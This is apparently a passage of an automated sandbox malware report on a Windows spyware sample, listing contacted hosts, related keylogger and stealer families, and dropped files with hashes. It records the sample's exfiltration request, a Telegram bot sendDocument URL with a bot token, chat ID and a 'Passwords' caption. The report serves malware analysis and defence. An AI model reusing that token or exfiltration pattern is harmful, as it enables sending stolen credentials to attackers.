6mGpn6kupm.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://www.google.comO	0%	Avira URL Cloud	safe
https://www.google.comOO	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.23.110	true	false	high
drive.usercontent.google.com	142.250.186.161	true	false	high
reallyfreegeoip.org	104.21.48.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.comOO	6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/hC	6mGpn6kupm.exe, 00000005.00000002.2571016125.0000000037601000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DD4000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	6mGpn6kupm.exe	false		high
https://drive.usercontent.google.com/~	6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/h	6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004737000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.telegram.org	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034D61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.comO	6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.23.110	drive.google.com	United States	15169	GOOGLEUS	false
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.186.161	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588140
Start date and time:	2025-01-10 21:47:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6mGpn6kupm.exe renamed because original name is a hash value
Original Sample Name:	2c399d3af3092bf9b9d0ed6c4b7bef3ac082cf09d9947adc9df12d11a6fea3d1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 164 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:49:43	API Interceptor	45300x Sleep call for process: 6mGpn6kupm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.axis138ae.shop/j2vs/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
149.154.167.220	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
132.226.247.73	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	New Order-090125.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	B7N48hmO78.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
reallyfreegeoip.org	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
api.telegram.org	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	gKvjKMCUfq.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
TELEGRAMRU	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
UTMEMUS	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
3b5074b1b5d032e5620f69f9f700ff0e	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	http://diebinjmajbkhhg.top/1.php?s=527	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	172.217.23.110 142.250.186.161
	IpykYx5iwz.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.217.23.110 142.250.186.161
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	172.217.23.110 142.250.186.161
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.217.23.110 142.250.186.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\Bargains\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	low
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Bargains\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	low
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Bargains\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	low
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

